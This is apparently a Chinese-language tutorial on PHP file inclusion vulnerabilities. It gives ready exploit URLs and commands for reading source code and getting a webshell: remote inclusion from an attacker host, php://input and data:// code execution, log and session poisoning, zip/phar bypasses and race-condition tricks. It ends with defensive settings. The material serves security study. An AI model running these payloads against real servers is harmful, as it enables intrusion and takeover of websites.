浅析php文件包含及其getshell的姿势
字数 1795 2025-08-26 22:11:51
PHP文件包含漏洞深度分析与利用技术
0x01 文件包含基础
1.1 PHP包含函数
PHP提供了4个文件包含函数:
include()- 包含并执行指定文件,出错时产生警告但脚本继续执行require()- 包含并执行指定文件,出错时产生致命错误并停止脚本include_once()- 与include()类似,但会检查是否已包含过该文件require_once()- 与require()类似,但会检查是否已包含过该文件
1.2 支持的协议和封装协议
PHP文件包含支持多种协议和封装协议:
file://- 访问本地文件系统http://- 访问HTTP(s)网址php://- 访问各种输入/输出流glob://- 查找匹配的文件路径模式expect://- 处理交互式流(通常被禁用)
0x02 常用伪协议详解
2.1 file://协议
- 默认访问本地文件系统
- 可绕过某些正则过滤(如过滤
../或/开头时) - 示例:
file:///path/to/file.ext等价于/path/to/file.ext
2.2 php://协议
2.2.1 php://input
- 访问请求的原始数据只读流
- 可执行POST请求中的数据作为PHP代码
- 使用条件:
allow_url_fopen: On(默认)allow_url_include: On(默认Off)
2.2.2 php://filter
- 元封装器,用于数据流筛选过滤
- 常见用法:
- 读取文件:
php://filter/resource=file - 编码转换:
php://filter/read=convert.base64-encode/resource=file - 写入文件:
php://filter/write=convert.base64-decode/resource=file
- 读取文件:
0x03 文件包含利用技术
3.1 基础利用方式
3.1.1 读取源代码
- 使用base64编码绕过解析:
php://filter/read=convert.base64-encode/resource=filename - 示例:
http://example.com/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
3.1.2 直接Getshell(allow_url_include开启)
- 远程包含:
http://example.com/test.php?file=http://attacker.com/shell.txt - php://input执行代码:
curl -v "http://example.com/test.php?file=php://input" -d "<?php phpinfo();?>" - data://协议:
http://example.com/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
3.2 特殊环境利用
3.2.1 Windows下双Off情况(allow_url_include和allow_url_fopen关闭)
- 利用SMB共享(UNC路径):
http://example.com/test.php?file=\\attacker_ip\share\shell.php - 利用WebDAV:
http://example.com/test.php?file=//attacker_ip/webdav/shell.php
3.2.2 包含日志文件
- Apache日志:
/var/log/apache2/access.log - Nginx日志:
/var/log/nginx/access.log - Windows下PHP错误日志:
C:\phpStudy\Apache\logs\error.log
3.2.3 包含环境变量
- Linux下:
通过修改User-Agent注入代码/proc/self/environ
3.3 结合上传功能
3.3.1 任意文件包含
直接包含上传的文件:
http://example.com/test.php?file=uploads/shell.jpg
3.3.2 限制后缀绕过
- zip://协议:
http://example.com/test.php?file=zip:///path/to/shell.jpg%23shell - phar://协议:
http://example.com/test.php?file=phar://shell.jpg/shell
3.4 高级利用技术
3.4.1 phpinfo + LFI Getshell
利用临时文件竞争条件:
- 上传文件时PHP会生成临时文件
- 通过phpinfo获取临时文件名
- 在文件被删除前包含它
Python利用脚本:
# 详见原文提供的完整脚本
3.4.2 Session + LFI Getshell
利用session.upload_progress:
- 构造上传表单并设置PHP_SESSION_UPLOAD_PROGRESS
- 通过条件竞争包含session文件
- 示例路径:
/var/lib/php/sessions/sess_PHPSESSID
Python利用脚本:
# 详见原文提供的完整脚本
3.4.3 PHP7崩溃特性
利用PHP7的string.strip_tags导致段错误:
http://example.com/index.php?file=php://filter/string.strip_tags=/etc/passwd
这会保留临时文件不被删除,然后通过目录列表获取文件名进行包含。
0x04 防御措施
- 禁用危险函数:
disable_functions = include,include_once,require,require_once - 关闭危险配置:
allow_url_fopen = Off allow_url_include = Off - 严格过滤输入:
- 检查包含文件路径
- 限制包含文件后缀
- 使用白名单机制
- 设置open_basedir限制访问目录
- 保持PHP版本更新,修复已知漏洞
0x05 总结
文件包含漏洞利用方式多样,从简单的源代码读取到复杂的条件竞争利用,攻击者可以通过多种方式实现代码执行。防御需要从配置、代码和服务器环境多方面入手,才能有效降低风险。
0x06 参考资源
- PHP官方文档 - 文件包含函数
- PHP官方文档 - 支持的协议和封装协议
- PHP安全配置指南
- 各种CTF比赛Writeup
- 安全研究人员的技术博客